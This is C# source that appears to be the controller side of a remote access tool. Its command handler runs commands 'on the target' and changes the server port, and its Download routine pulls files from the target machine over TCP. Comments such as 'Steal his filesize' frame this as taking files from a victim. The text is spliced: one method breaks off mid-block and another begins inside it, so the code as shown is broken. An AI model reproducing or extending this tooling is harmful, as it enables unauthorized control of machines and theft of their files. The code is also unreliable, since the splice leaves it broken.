static int Execute_Command(string command, string path, NetworkStream stream,
TcpClient client, TcpListener listener, string ipv4) //Execute a command on the target *if returns 0 it sent a message to target
{
if (command == "help") //INITIATE THE HELP FUCNTION
{
SupportFuncLib.Help();
return(1);
}
else if (command.Contains("server -port -change:")) //Change the port the server is using and notify client
{
try {
int port = int.Parse(command[21..command.Length]);
public static int Download(NetworkStream stream, TcpClient client, string filename)
{
//Declaration of variables
int bytesRead = 0; int buffer = 4096; int x = 0; int f = 0;
string root = Directory.GetCurrentDirectory();
string confirm = Receive(stream, client);
if (confirm == "FILE FOUND")
{
while (x < 1)
{
string path = @root + "\\" + filename;
if (File.Exists(path)) //Check if file exists if so then change it bruh
{
filename = f.ToString() + filename;
f += 1;
}
else
{
string fS = Receive(stream, client); //Steal his filesize
Console.WriteLine("Receiving a total of " + fS + " bytes from target");
int fileSize = int.Parse(fS); //Parse it to a int
byte[] bytesToRead = new byte[fileSize]; //Create a byteArray of the size of the file
SupportFuncLib.ProgressBar(false, true); //Start progress bar
while (bytesRead < bytesToRead.Length) //While download is going on do this stuff
{
SupportFuncLib.ProgressBar(false, false); //Update progress bar
if ((bytesRead + buffer) > bytesToRead.Length) //Adjust buffer in case buffer is larger than buffer going over the wire
{
buffer = bytesToRead.Length - bytesRead;
}
stream.Read(bytesToRead, bytesRead, buffer); //Read bytes from stream
//Console.WriteLine("Read " + buffer + " bytes from target");
bytesRead += buffer;
}
SupportFuncLib.ProgressBar(true, false); //End progress bar
var fs = new FileStream(filename, FileMode.Create, FileAccess.Write);
fs.Write(bytesToRead, 0, bytesToRead.Length); //Write bytes to a file
fs.Close();
Send(stream, "0"); //Send confirmation message
x += 1;
}
}
return(0);
}
else
{
return(1);
}
}
